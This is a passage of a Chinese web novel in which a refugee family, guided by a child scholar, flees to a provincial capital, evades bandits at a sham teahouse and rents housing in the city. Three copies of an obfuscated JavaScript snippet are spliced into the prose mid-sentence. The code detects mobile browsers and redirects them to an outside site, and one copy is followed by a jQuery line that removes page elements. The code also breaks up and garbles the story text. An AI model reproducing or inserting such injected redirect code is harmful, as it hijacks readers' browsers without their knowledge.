不说别的,就凭你有事没事就给我送礼的份上,我还能连通知都不通知你吗? 这么优质的送礼小达人可得留着。 白手套的好人选啊。 懂事,知分寸,嘴还严。 从禾阳县到省城,大概有个小三百公里。 若是让大青骡车轻装上阵疾驰的话,一天跑个七八十公里倒是问题不大。 那三百公里,跑个四五天也就到了。 但是现在这骡子车上全是货物,大多数人还得步行着走,再加上还有孩子,一天能走个二十公里就算是不错的了。 估摸着到省城,至少也得是十几天后了。 一路上风餐露宿的,日子确实不大好过。 虽说走的时候带了足量的粮食,但是这荒郊野外的,做饭都不称心。 也就是随便弄点粗米,放在瓦罐中,生个火,煮一煮也就吃了。 至于说肉食…… 也就只有孙员外那边,每天还能拿出一条腊肉出来放入锅内,肉味四散而开。 而每一天,这位孙员外都会照例给方子期送来一碗烹饪好的腊肉。 方子期不收,孙员外就在那嗷嗷着叫唤。 “咕咚……” 赵满仓看着方子期碗中那晶莹剔透的腊肉,下意识吞咽了一口唾沫。 方子期看向他。 “子期!” “我不饿!你吃!” “我不馋!” 赵满仓一本正经道。 但是那哈喇子…都快要掉下来了啊! 八岁的孩子…… 说谎都说得这么…理直气壮。 “吃吧!” “我这里多,也吃不了。” 方子期叹了口气,扒拉了两块给赵满仓。 原本赵满仓还想欲擒故纵一下的,但是当方子期真要将腊肉给拿回去后,这小子囫囵吞枣,直接将腊肉给吃了个干净。 这小胖子…… 还是一如既往的贪吃! “汪汪!” 阿黄和吉祥应当算是逃荒者中最洒脱的了。 每天跑来跑去,好不欢快。 因阿黄和吉祥长得可爱,家家都喜欢,所以它们吃上了百家饭。 每天都能混个肚圆。 每天听着阿黄和吉祥的叫声,顿感烦躁感都没那么强烈了。 逃荒的前几天。 众人感到新奇,感觉倒是还好。 越到后面,整日里风餐露宿的,哀叹声就多了起来。 大多是感慨世道不太平,人命如草芥的。 “我说了不去省城,你非要来!” “现在好了!” “整日里在这受苦!” “不行了!” “我要回去!” “我要回禾阳县!” 方秀云顶着黑眼圈,脸上带着菜色对着陈景行吼道。 这几日。 过得太苦了。 其他家因准备的充足还好一些。 但是方秀云和陈景行只是带了些许粮食就出来了。 连个车都没有。 连续走几天路,脚上都长了大泡。 怨气顿生。 陈景行皱着眉头。 方秀云平日在家中可不敢对他如此。 想是因为现在方家人都在此处,给她壮了胆! “你胡搅蛮缠些什么!” “等去了前面,若遇了村镇,我去买一辆骡子车就是了!” 陈景行压着火气道。 “我不管!” “我脚都破了!” “我现在就要车坐!” “你就算是不心疼我,也心疼一下麦香和禾穗!” “她们的脚都磨出血来了!” 方秀云扯着嗓子道。 只是一双眸子时不时的就看向方家众人。 大伯母赵氏率先冷笑。 “我家就一辆骡子车,你也见了,我家人口多,东西也多,也挪不出地方来坐人!” “就像谁脚不是磨了好几个大泡似的!” 大伯母赵氏说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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茶馆歇脚,定是外行 方秀云脸色一白。 眼神中多了一些幽怨。 刚想张口说些什么,就看到苏静姝面色不善地走了过来。 今日这方秀云若是胆敢对她儿子说点什么,苏静姝绝对不罢休。 大不了就撕破脸。 “哼!” 方秀云哼了一声,咬着牙就走了。 方子期本来以为这事已经结束了。 但是他实在没想到这个世界上还有这般厚颜无耻之人! 方秀云径直找到了孙员外。 然后笑着同孙员外拉起了家常。 “孙员外。” “我这侄子,那可是我看着长大的!” “对!” “打小就聪明!” “孙员外您能看上我家子期,那是他的荣幸!” “孙员外您一看就是敞亮人!” “我看啊,你家宛禾小姐同我家子期就很相配!” “将来啊!宛禾小姐肯定是官夫人!” 方秀云这小话一套接着一套的。 孙员外脸上仍旧挂着笑容。 都是一起去省城的,也不好不搭理是不是? “那就借你吉言了。” 孙员外随口道。 “对了孙员外。” “你也看到了,我家那口子走之前没想起来买一辆骡子车,现在这路走得啊,我那两个女儿脚全磨破了!” “我二哥原本想让我去他家骡子车上坐,但是他家那地方也不宽裕……” “你看……您家车多,能不能匀一辆给我们?” “您放心!” “我们不白借!” “按照车行正常的租车费用给!” “等到了通衢府,立即就将车还给您!” 方秀云图穷匕见,开始进入正题。 孙员外脸上虽然还是笑容满面,但是笑容已经收敛了。 其实他之前也问过方子期要不要马车,但是方子期直接拒绝了,毕竟他家虽然只有一辆骡子车,但是也勉强够用了。 再者说,孙员外家的车子虽多,但是带的东西也多,也不算太宽裕。 若是方子期要车,只需要一个眼神,孙员外就会将车送过去。 但是方子期到现在都不动声色,反倒是他这个不太受待见的二姑跑来借车。 这就有得说道了。 “抱歉啊秀云妹子!” “我家车也就刚刚够用!” “等去了前面,我帮你打听一下有没有谁家卖骡子车的。” 孙员外那可是人精,瞬间就闻到味了。 方秀云脸上的笑容戛然而止,双手握得更紧了。 如果我想买骡子车,还用跟你费什么劲? 一辆骡子车原本的常价就要二三十两。 现在这逃荒的多,粮食都贵了几倍,大青骡的价格也跟着水涨船高,没个大几十两银子拿不下的。 若是她愿意出这个钱,还用得着费这些口舌? 一个个的! 都是不识抬举的! 方秀云心中暗自想着。 随即冷着脸,就走了。 事后。 当孙员外向方子期说起这件事的时候,着实让方子期无语到了。 “孙叔。” “以后她再来,不用看我的面子。” “她虽是我的二姑。” “但是素来不熟,不相干。” 方子期淡漠道。 这种奇葩亲戚,有跟没有,区别很大吗?当然大了!真要是没了,还能少些烦心事。 “嘿嘿!” “子期!你放心!” “你孙叔虽比不得你脑瓜子聪明,但是这点事儿还是懂的!” “子期!” “有事你说话!” “我家车子还算宽敞。” “要不然让老太爷和老夫人去我家车里休息吧!” “马车的颠簸感到底小一些。” “老人家上岁数了,还是仔细点好。” “毕竟后面还有这么多路呢!” 孙员外在一旁笑着道。 对于此事,方子期倒是没再坚持了。 让爷爷奶奶去孙员外家的马车,确实能给他家大青骡车腾出不小的地方来。 等方守义和柳氏去了孙员外家的马车,让方子期颇为无语的是,他那二姑方秀云居然时常打着同爹娘聊天的借口去蹭孙员外家的马车,一待就是几个时辰…… 对于此。 方子期只能说,人不要脸,确实可以天下无敌。 逃荒路上,虽有波折。 但好在。 还算顺利。 离开柳溪村第七天。 此刻距离到通衢府,也只剩下了一半路程了。 胜利在望! 到这里时,路上的马车就显得少得多了。 该走的都走了。 该来的,却还没来。 “子期,前面有个茶馆。” “过去歇歇脚吧。” 方仲礼将大青骡车停在路边,随即伸了个懒腰。 见有茶馆在,众人纷纷前往。 这一路上,有个歇脚的地方可不容易。 顿时几十人涌入茶馆,这场面还是很唬人的。 经营茶馆的是一对中年夫妻,见有客来,连忙出来招待客人。 “客官从哪来啊?” “这是要去省城的吧?” “嘿!” “这路可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就这样的茶馆,不可能有回头客的。” 赵通源摇头道。 方子期脸色一紧。 他刚才分明听到那中年女店主说他们在这里已开了十几年的茶馆了…… 而且,不知何时,那中年女店主竟然已经不见了踪影,只剩下那中年男店主还在招呼众人。 第143章 劫道山贼 方子期留了个心眼,走到中年男店主面前。 “店主!” “方才那位女店主呢?” “她说还要给我们送饴糖呢!” “怎么说话不算话啊!” 方子期皱眉,一脸不高兴道。 “啊?” “饴糖?有有有!” “她就是给你们拿饴糖去了!” “你们且再等一会儿!” “别着急!” “快去吃茶!” 中年男店主脸上露出憨厚的笑容,看着一副本分老实的样子。 方子期不动声色道:“那就成!你让她快些!” 方子期说完后,当即转身,脸色显得格外难看。 他默默地找到方虎和老爹方仲礼。 “这茶馆有问题。” “恐是黑店!” “快去通知大家!” “迅速离开。” 方子期沉声道。 方虎和方仲礼呼吸一滞,此刻来不及询问缘由,他们知道方子期不可能无的放矢。 随即方仲礼连忙吼了一声。 “大家快些起身吧!” “前面还有不少路要走呢!” “再晚些,又要在野外驻扎了!” “快些走!” 方仲礼说完。 径直牵上自家的骡子车,直接在前面开道。 “这不是才刚歇下,怎么又要走?” “你们都有车,倒是不累,我们一家子累得前胸贴后背!” “这一次我必须要歇好了再走!” 方秀云咬牙叫嚷了几声,此刻仍旧坐在原地,不愿意挪屁股。 方仲礼也懒得搭理。 将老爷子方守义和老太太柳氏接驳到车上后。 直接前行。 “走!” “快些走!” 孙员外突然见方子期朝着他投来一个凝重的目光,心中顿时一惊。 他虽不知道究竟出了什么事。 但是若非无事,方子期和方仲礼不可能这般着急离开。 其余人见方仲礼已经在前面开道,遂赶忙喝完碗中的茶水,当即套上各家的车,也就跟上了。 动作稍慢些的。 是他大伯方伯山和二姑方秀云一家。 但是当孙员外瞪了一眼方伯山后,方伯山连忙赔笑地站起身,开始跟上众人。 现在就只剩下方秀云一家了。 “走这么快做什么?” “再吃些茶水啊!” “都是一等一的好茶!” “可是有什么不满意的地方?” “我再给你们重新上些牛肉赔罪可好?” 中年男店主见众人突然离席,脸色一变,但是很快又恢复过来,当即笑呵呵地说要送牛肉。 “真的假的?” “还有牛肉?” “快快快!” “给我们拿来!” “他们活该没这个口福!” 方秀云眼前一亮。 连忙对着中年男店主道。 中年男店主眼眸流露出一抹难以察觉的厌恶,但是表面上仍旧是笑呵呵的,一副显得非常好说话的样子。 “牛肉马上就来!” “你们稍坐一会儿!” “我去给你们热一会儿!” 中年男店主说完话,转过身,就准备去热牛肉了。 “不用热。” “我们就喜欢吃凉的!” “快拿来与我们吃!” 陈景行沉声道。 “这哪里能行?” “凉的吃了坏了肚子可怎么办?” “热一热快得很!” “稍等一会儿!” 中年男店主也不等陈景行再说什么,此刻连忙拿着牛肉放入锅内,像模像样地热了起来。 “孩子他爹!” “你急什么?” “这掌柜的人好,吃热的多好?” “咱们吃饱喝足了,待会儿再赶上他们就是了。” “那些个人,一个个的就像是赶着要投胎一样……” “急什么?” “肚子总要吃饱的!” “不过他们真要是在这里,咱们肯定分不到那么多牛肉了。” 方秀云一脸窃喜。 “走!” “立即走!” “快!” “禾穗,麦香!” “别吃茶了!” “同爹走!” 陈景行心中一咯噔。 再联想到方仲礼刚才毅然决然突然要离开的严肃表情。 这里恐怕有诈! “走什么啊!” “牛肉马上就上来了!” 方秀云有些不乐意。 “蠢妇!” “想死就继续吃!” “你吃一口,等去省城,我就休了你!” “走!” 陈景行怒吼一声,脚步飞快,连忙赶上大部队。 他的两个女儿禾穗和麦香也赶忙跟上。 方秀云此刻虽不乐意,毕竟这一路上,她仗着有方家人在,可是时不时地都能训斥一下自家相公的,她自认为自己的家庭地位已经提升了不少。 但是此刻被陈景行一口一个‘蠢妇’骂着,再加上还要休了她,顿时方秀云就慌了。 赶忙跟上了。 到了队伍中。 方秀云的嘴还没闲着。 方秀云走后不到一刻钟。 先前离开的女店主也回来了。 同时来的,还有三十多个手持兵刃的壮汉。 “老六!” “人呢?” “你婆娘不是说来了十几辆车吗?好几十口人!” “还有贵妇人……” 为首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244291|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的壮汉皱着眉头道。 “三当家的。” “他们走了快有一刻钟了。” “也不知道是什么地方露了。” “他们坚决要走。” “我一个人,也拦不住啊!” 中年男店主抓耳挠腮的,显得很着急。 “不过他们老幼妇孺的,定是走不远,若是现在追,或许还能追上……” “三当家的!那些人定然都是从其他地方逃荒来的!在此地也都是无亲无眷的,杀了也没人报官!” “而且既是逃荒,定是带了全部家资的!” 中年男店主连忙道。 “往前十里地,就是河田镇了。” “若是动静闹大了,咱们也吃不到好!” “老六!” “你骑上马!” “带两个兄弟去摸摸情况。” “如果他们速度慢的话,就赶紧回来报信。” “我带着其他兄弟也赶过去!” 山贼三当家的沉吟一声,随即安排道。 三十多人,不可能都骑马,也没这么多马。 只能让斥候骑马打探情况了。 …… 另一头。 方仲礼驱赶着骡子车,尽可能地加快了速度。 孩子们都安置在车内。 大人们都迅速迈着脚步往前走。 队伍的整体速度被提升了不少。 “上赶着去投胎啊!” “走这么快做什么!” “你们倒是有车,倒是舒服了。” “我们这一脚一个血印……” 方秀云咬着牙,忍不住阴阳怪气道。 “你要是再说怪话,就滚出队伍,自己单独走!” 老爷子方守义有些受不了了,当即呵斥道。 “仲礼!” “子期!” “到底什么情况?” “怎么这般匆忙?” “可是出什么事了?” 孙员外喘着粗气走过来询问道。 “孙员外,具体我也不知道。” “只是子期说那茶馆是黑店。” 方仲礼皱眉道。 孙员外的目光看向方子期。 “孙叔,那女店主我们也就是刚开始见了一面,后面那个女店主去哪了?” “还有……” “我故意说那女店主许了我们饴糖,那男店主就顺着我的话说女店主是去拿饴糖了。” “孙叔。” “哪有这么凑巧的事情?” “还有……” “我赵叔以前就是在我们镇子上开茶馆的,他一口就喝出了这茶极不地道,这煮茶的人根本就没正经学过。” “而那店主张嘴闭嘴就是他们在此地开了十几年的茶摊。” 方子期一边说着话,随即默默摇了摇头。 点到为止就好。 第144章 苍蝇不叮无缝的蛋 “竟有此事?” “子期!” “你观察当真细腻!” “我居然什么都不曾察觉!” 孙员外此刻额头上已经渗出冷汗。 “听子期你这么一说,我才反应过来,那店主看人的眼神确实有些不太对。” “如此这般……” “这必是黑店!” “那离开的女店主怕不是去叫人了?” “嘶!” “子期!” “你又救了你孙叔一命啊!” “不对…还有我这一大家子的命,都是子期你救的。” “救命之恩,孙叔记下了!” “子期!以后你只要吱一声,别说是散尽家财的事情,就算是让我孙世昌上刀山下火海,我也绝对不皱一下眉头!” 孙员外终于找到一个欠下方子期大人情的机会。 此刻激动地脸色涨红。 而此刻。 众人听说那茶馆是黑店的事,顿时一阵庆幸。 随即连忙加快了前行的步伐! “子期当真是神了!” “我只是说了一嘴那茶不地道,子期就能看出这么多门道来!” “满仓啊!” “你跟子期是一起光着屁股长大的。” “你也跟子期学学啊!” “爹不指望你也中秀才,但是你也不能天天只想着吃啊!” 赵通源看着自己的宝贝儿子,忍不住叹了口气。 这儿子比儿子,是真得扔啊! “啊?” “爹,不是你说的么?人活于世,就是为口吃的。” “不然活着干什么?” 赵满仓歪着头,一本正经道。 赵通源:“……” …… 方文舟听着周边都是赞誉他堂弟方子期的谈话,身体不由得一颤。 被学霸堂弟支配的恐惧感突然就又来了! 他已经能够听到不少人谈及他们方家这几个同龄的孩子了。 方子期、方文舟和方绍永。 三人现在都是八岁。 只是方子期的月份最小罢了。 “我家文舟念书也是极好的!” “是!” “就算是比不上子期八岁就中秀才。” “但是我估摸着,等我家文舟再过两年,到十岁下场,中个秀才回来定是不成问题的!” “毕竟有他堂弟在前面打样呢!” “我们老方家的文风就是好……” “都是文曲星……” 大伯母赵氏兴致盎然道。 听到自家娘亲这恬不知耻的自夸之言。 方文舟的头低垂地更厉害了。 丢人呐! …… “哪有什么黑店?” “我看那店主是个实诚人!” “整天疑神疑鬼的。” “可惜了店主送的牛肉了。” “陈景行,你自己不吃也就算了。” “还不准孩子吃几口了?” 方秀云跟着埋怨道。 陈景行气急而笑…… 若非此刻方家人都在这里,他是真有些按捺不住火气了。 得得得…… 突然。 一阵急促的马蹄声传来。 远处突然飞奔过来三匹马。 当下距离众人也就百来米的距离,就这么跟着。 “虎叔!” 方子期走上前。 此刻方虎和他儿子方大牛各拿了一张弓,在那里严阵以待。 “子期!” “你看打头的那个像不像刚才茶馆那个男店主?” 方虎指了指前方。 方子期打眼一看,那打头的就是那个‘长相憨厚’的男店主。 “虎叔。” “就是他!” “估摸着是贼寇来打前站的。” “恐怕后面还有追兵。” “现在也不知道追兵究竟有多少。” 方子期沉声道。 众人全都跟着一惊。 贼寇? 马子? 茶馆定是黑店了! 此刻队伍中的男人们纷纷拿起各自的武器。 或菜刀或砍柴刀。 除了方虎方大牛各自有一把**和一张弓外,也就只有孙员外带了几个手持正经武器的护卫。 就算他大舅二舅都是铁匠,此刻手上拿的,也只是屠夫惯用的砍骨刀罢了。 但是这几个人,会是贼寇的对手吗? 况且还要保护这么多老幼妇孺。 “子期!” “我同大牛往前冲一冲,定能将他们都射死!” 方虎也准备搏一把了。 “虎叔,杀了他们三个人没有意义。” “只会彻底激怒他们,从而导致那些贼寇因报仇而失去理智!” “虎叔。” “你同大牛哥射两箭过去,威慑一下即可。” “我们这边加快步伐,立即离开这里。” “前面就有个镇子。” “到了镇子上,我们就能歇歇脚了。” “这批贼寇既然只有三匹马,想 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众人接下来极速往前赶路。 就连方秀云,此刻也闭上了嘴,只是心脏一直在加速跳动。 “差一点!” “差一点咱们就被那贼寇给抓住了。” “还好…还好我们走了!” “他们也真是的!” “还一家人呢!” “明知道有贼寇,当时也不说清楚些,害得我们差点留在了茶馆里面!” “我们真要是出了什么事,他们可怎么赔得起!” “我那二哥,当真是个黑心肠的。” “我好歹也是他小妹……” “还有那子期……” “都说读书都是负心汉。” “我看这话一点都不假!” 方秀云低声嘟囔着。 陈景行此刻本就因为脚磨破了烦躁,听到这些,更添躁感。 “闭嘴吧!” “省些力气!” “待会儿贼寇真要是赶上来了,还要跑路呢!” 陈景行黑着脸道。 以前,他娘他大嫂在家磨磋方秀云的时候,他还有些心疼,毕竟这是自家娘子。 但是这些日子相处下来,陈景行突然明白了一个道理:苍蝇不叮无缝的蛋! 第145章 通衢府前!撒钱! 接下来的路程。 众人皆胆战心惊。 车队一直行驶到河田镇,众人的心思才稍微松懈了些。 这就算是捡回了一条命了。 “子期!” “这贼寇怎么后面没追上来了?” “我本还以为今日要拼死一战了呢!” 方砚秋此刻手上还拿着一把菜刀,高度紧绷的神经骤然松懈下来,整个人都跟着软了。 “应当是虎叔和大牛哥的箭术惊到了这群贼寇。” “这贼寇可是很精明的。” “他们很清楚有虎叔和大牛哥两个弓箭手在,他们想要拿下咱们,少说也要付出几条性命。” “虽然咱们带来的财货物资不少,但这一路上尽是逃荒的人群。” “这贼寇完全可以选择下一个目标,没必要同咱们死磕。” 方子期揣度道。 不一定对。 但是他感觉大概就这么回事。 欺软怕硬,本就是这些贼寇的本性。 “幸亏子期提醒我,只是射箭警告那贼寇,不曾将其杀死。” “否则这沾了人命,这伙贼寇恐怕也不会那般轻易就放过咱们。” “谁承想这前往省城的大道上,居然还能遇上山贼。” “这世道,还真是乱了。” 方虎叹了口气,语气中也有些庆幸。 当时他是真想将那三个骑马的贼寇全射死。 射**,一时间倒是痛快了,但是随之而来的山贼报复如何承受? 若是就他自己,随便找个地方一藏也就罢了。 可是现在这拖家带口的…… 众人此刻皆有一种劫后余生之庆幸感。 在河田镇稍作休整后。 众人再度朝着省城方向行进。 后半程,虽亦有一些这样那样的波折,但是比起山贼劫道都算是小巫见大巫了。 逃荒之路。 历经十六天! 终于看到了省城通衢府那高大深沉的城墙。 自平地拔地而起!蔚为壮观! 此刻的风中还裹着沿途尘土的腥气味儿。 脚下的布鞋早已磨穿了。 当通衢府那巍峨壮观的城墙撞进众人眼中时。 所有人都短暂地屏住了呼吸,忘却了继续挪步。 这墙高大地不像是工匠堆砌出来的,倒像是从天而降的巨物! 青黑色的城砖一块压着一块,砖缝中镶嵌的白灰此刻早就被岁月浸染成了深褐色。 此刻看着,倒像是给这古老的城墙镶了一道体面的旧痕。 仰头望去,城墙足有三丈高!顶上架起的雉堞(城墙上的矮墙)像一排沉默的锯齿,不间断地朝着城墙四周延伸。 青砖堆砌的城楼上,飞檐翘角上蒙着层薄灰。 然仍能看出其雕刻了不知道几十年的老花纹。 在楼门上方,方方正正地挂着块黑底金字的匾额! “通衢府!” 三个大字历经岁月显得有些模糊,却仍苍劲有力。 “呼!” “总算是到了。” “我这把老骨头……” “快要散架了。” 方夫子伸了个懒腰,此刻伸出手抚摸着自己后腰的位置。 一路上,虽有各种不适,但是方夫子都隐忍过来了。 眼看着已经到了通衢府前,方夫子再也扼制不住兴奋的心情了。 “夫子。” “我扶您。” 方子期走上去搀扶道。 虽说一个八岁孩子搀扶的力度有限,但是有总比没有好。 方夫子脸上顿时露出欣慰的表情。 这个时候,孙员外快步走了过来。 “这城门口……” “**着大量逃荒的人群。” “我去打听了一下。” “想进城可以,但是需要补办省城的身份牌才能进城。” “大人五两银子,小孩二两银子。” “另外,若有秀才功名在身,亦能作保免费带五人进去。” “城门口之所以**着这么多百姓,就是因为很多百姓交不起这身份牌的钱。” “这世道。” “到哪都要银钱开路。” “当真是开了眼了。” 孙员外此刻都忍不住吐槽了几句。 孙员外此言一出。 顿时引起众人一片惊呼。 “这身份牌怎么这么贵?” “我家禾穗十三岁,麦香十五岁,算是大人吗?” 方秀云忍不住道。 “过了十五就算。” 孙员外道。 “那我家岂不是三个大人,一个孩子?” “足足需要十七两银子办这通衢府的身份牌?” “哪来的这般道理……” “这么多银钱做什么不好?” “陈景行,我早说了,用不着逃荒,你非要跟着逃!” “现在好了。” “连进个城都要银钱!” “这日子怎么过啊!” “活不下去了!”< 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“那我知道了!” “多谢子期了!” 赵通源搓了搓脸,随即深吸一口气,已经打算带着家人一起入城了。 至于银钱? 有花才有赚不是? 有了这身份牌,以后进出通衢府就简单了。 不说城内的环境多好,最起码这城内的治安也比外面好多了。 因为方子期和方仲礼都是秀才。 按照规定,都能各给五人作保,免费办理身份牌。 相当于能有十个免费名额。 方子期一家人加上爷爷奶奶,都用不完。 所以给他外公一家、三叔一家、方虎家分润了几个名额。 最后又挤出一个名额给他大姑方玉茹家。 但也仅此而已了。 免费名额就这么多。 “爷爷!” “当初出来的时候,您还不乐意呢!” “您看看!” “要是您不来,我们这一大家子进城都得掏大笔银子了!” “但是爷爷您是秀才,我们全家都能免费入城!” 方砚秋忍不住在一旁笑着道。 方夫子一愣…… 这臭小子,想得还挺多! 第146章 天价客栈,读书之地 一起来通衢府的十家。 总共有四个秀才。 这比例不算低了。 至于赵满仓家,虽然赵满仓的爷爷奶奶坚决不进城,但是赵通源咬着牙,将补办身份牌的费用都给交了。 一大家子,就是要整整齐齐的。 到最后这十家,只有方秀云和陈景行不愿意交钱入城。 “二哥!” “你这也太偏心眼了吧?” “你给大姐家一个免费入城名额,又给三哥家一个……” “怎么?” “他们是你兄弟姐妹?我就不是了?” “二哥!不好这么厚此薄彼的吧?” “甚至连二嫂的娘家都能分到免费名额,就我家没有?” “这算是什么亲兄弟姐妹?” 方秀云在一旁酸溜溜道。 方仲礼原本不想搭理的。 但是见方仲礼不说话,方秀云叫唤地更欢了…… “你要是觉得咱们不像兄弟姐妹,那以后就当陌生人处就是了。” “以后你也别叫我二哥了,我受不起。” 方仲礼淡漠道。 方子期眉毛一挑,忍不住想给自家老爹竖起大拇指。 怼得不错! 亲戚朋友之间交往。 要么就互利互惠。 真要是做不到互利互惠,那你得到了实惠,嘴上说些好听的话,提供一些情绪价值倒也还行…… 可你什么都不付出,甚至时不时的还要阴阳怪气的,你指望谁来给你提供免费援助? 世间舔狗千千万,但是方子期家一条都没有! 他家只有两条护家神犬! 面对方仲礼冷冰冰的答复。 方秀云脸色一白,正准备说些什么的时候,陈景行连忙走了过来,当即将方秀云拉扯过来。 “你在同二哥胡搅蛮缠些什么?” “二哥!” “切莫生气!” “这蠢妇…咳…秀云的脾气素来如此,都是我不曾管教好!二哥多多谅解!” 陈景行深吸一口气,忍住了扇大嘴巴子的冲动。 带不动! 是真带不动啊! 你二哥!秀才! 你侄子!秀才! 就这关系在! 哪怕他们什么话都不说,人家只要知道你有个秀才哥哥,还有个秀才侄子,那都会对你高看一眼,至少不会随便开罪你。 就这关系,旁人维护还来不及,这蠢妇就知道往外推。 陈景行气得额头上青筋暴突! 方仲礼也没说什么。 点了点头,就带着家人一起入城了。 入城之后。 第一件事是找客栈。 总得找个落脚的地方。 然后才好出去租住房子。 但是进了客栈后。 众人沉默了。 一间最普通的房间,住一晚居然要二百文! 这个价格。 太癫了。 “店家。” “价格是不是太贵了些?” 方仲礼皱眉道。 听到方仲礼的质问声,店家原本脸上显得很不满,但是扫了一眼方仲礼的穿着后,脸上就又浮现笑容。 方仲礼此刻穿的是代表秀才身份的蓝色直裰,头戴四方巾! 在大梁朝,读书人还是很受尊敬的。 更何况还是个秀才。 “这位相公,您可能是刚来省城,所以不知道行情。” “要说一个月之前,这一间屋子一百文钱一晚的价格都是有的。” “但是现在是真不行!” “最近这省城来的人太多太多了……” “所以这客栈自然就供不应求了。” “若是我不将价格抬高些,现在哪里还有空房间给诸位住?” 店主笑呵呵道,说得好像这涨价都是为了他们好一样。 众人又多跑了几个客栈。 价格基本都差不多。 随即。 只能以家为单位。 各自租一间房。 因方子期家人多,租住了两间。 “哎!” “居大不易啊!” “明日我就去找房子。” “不然在这客栈住,如何受得住?” “两间房一天就要四百文……” “这要是住上一个月,十几两银子都没了。” “这在农家,可能要省吃俭用好几年才能攒下来这么多钱!” 叹息声传来。 方仲礼忍不住在一旁算账。 “子期。” “既来了省城,你打算去哪读书?” “这周夫子之前就同我们说了。” “他要处理些事情,稍晚几日才能来省城。” “要不然还能让周夫子给你授课。” “这学问上的事情,可不能耽搁分毫!” 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哪怕是孙员外这种腰缠万贯的人,时时刻刻脑子里面都在想着赚钱的事。 “爹!” “这个世界上虽没有施恩不图报的人。” “但是那些大人们既愿意施恩给我们、帮助我们,那看中的就是我们的潜力。” “我们现在力所能及的报恩顶天了,也就是给他送去几百两银钱,人家会在意吗?” “与其纠结这些,倒不如将恩情记在心底。” “待我们有能力的时候,再回馈回去就是了。” “所以啊爹!” “别总想着这个要报恩,那个也要报恩的事!” “这些恩情,以后我来还就行了。” “爹,你就负责好好读书就行了!” “其余的事,用不着你操心。” 方子期看向方仲礼,语气轻松道。 “这样啊……” “那我知道了。” 方仲礼抓了抓脑壳。 他宝贝儿子的话倒是很有道理。 但是不知道为什么。 这话听着怪怪的。 就像是他爹以前对他说的话一样。 第147章 赁房,居大不易 客栈住宿第一晚。 方子期就失眠了。 为了省点银子,他只能被迫地跟他爹娘睡一起了。 他爹这呼噜声…以前是听习惯了。 现在方子期独睡时间长了,又不习惯了。 第二天。 方仲礼精力满满地起来。 方子期顶着对熊猫眼。 “哎!” “最近这逃荒可是让子期受苦了!” “你看,脸色这般差!” “娘子!” “回头去买只鸡炖一炖,给子期好好补一补。” 方仲礼嘴上这样说着,随即刚吃完早食,就拉着方子期找房子去了。 美其名曰,带上方子期能多砍砍价。 找了好几个牙人问了价,生怕被人坑。 而且方仲礼是带着大家一起去的。 基本上每家都出一个人跟着。 这样人一多,同牙子砍价也方便。 但是问完租房的价格后。 众人都沉默了。 大家都拖家带口的,既来了这省城,自然也没想着过什么锦衣玉食的日子,本就是来逃荒的。 所以问询的宅院基本上也就是那些有三四间房的普通民居,够一家人住就好。 但即使是这样的普通民居,租金也高得吓人。 “方相公!” “现在就这个市场价!” “想要租便宜的房子就去城北,那边靠近城郊,房子普遍破旧一些,而且也拥挤一些,像你们所说的这种有三四间房的民居,原本一个月租金也就五六百文这样。” “但是自从山岱省出了叛军,每天都有大量的人往省城跑。” “所以啊,这租金自然也跟着水涨船高了。” “城北的普通民居,没一两银子是不可能有人愿意出租的。” “至于城南…那就是咱们省城的核心地带了。” “知府衙门在那里、巡抚衙门也在那里,甚至就连晋王殿下的王府也在那!” “那里的租房价格基本上就是城北的双倍了。” “普通民居都是二两银子起步。” “若是想要弄个一进院,没个五两银子的租金,没人会租的。” “现在这租房的价格成天地往上涨。” “我劝你们啊,还是尽早决定地好。” “说不定明天这租房价格又要上涨一百文。” “其实要我说。” “若是你们觉得单独租一处民居吃力,那不如两家一起合租好了。” “都是逃荒过来的,我都懂……” “哎!” “我本来也不是这通衢府的人!” “省城居大不易啊!” “先有个落脚的地方也是好的。” “你们放心。” “我张老栓不会坑骗你们的,我还想着做回头买卖呢!” “再说了,方相公,您可是秀才老爷,哪敢欺瞒于您啊!” 牙人张老栓很是健谈。 这嘴就没停过。 吧嗒吧嗒的,快得很。 不过方子期等人也找过好几个牙人,自然清楚他所说的确实也都是大实话。 “先安下家来吧!” “哎!” “等落了脚。” “剩下的事情以后再说。” “子期!” “我准备同你二舅合租一处民居。” “这样两家一分,一个月一家五百文的租金虽…虽不少,但还算能接受。” 大舅苏大勇叹了口气道。 大舅二舅两大家子,加上外公外婆…… 当真是有十口子人的。 一起挤在一处民居中…… 确实有些为难。 所谓的三四间房,总要留出一间厨房来吧。 分出一间做厨房,那就剩下两三间房,两家人住……确实极为拥挤。 众人虽然对省城租房的价格感到惊悚。 但是大多硬着头皮也就租了。 大多都是合租。 方子期的大舅和二舅还有外公外婆合租城北的一处民居。 他三叔方叔信同老爷子方守义合租一处,也在城北。 大姑方玉茹同赵满仓家合租一处,亦在城北。 他大伯家…倒是在城北弄了个独门独院,独自租赁在城北。 方砚秋家咬咬牙,去城南租了个普通民居,花费二两一钱银子一个月。 至于孙员外家,人口太多,而且又过不惯什么苦日子,遂干脆在城南租了一个普通的二进院,约莫有十几间房,据说一个月的租金就要近二十两。 现 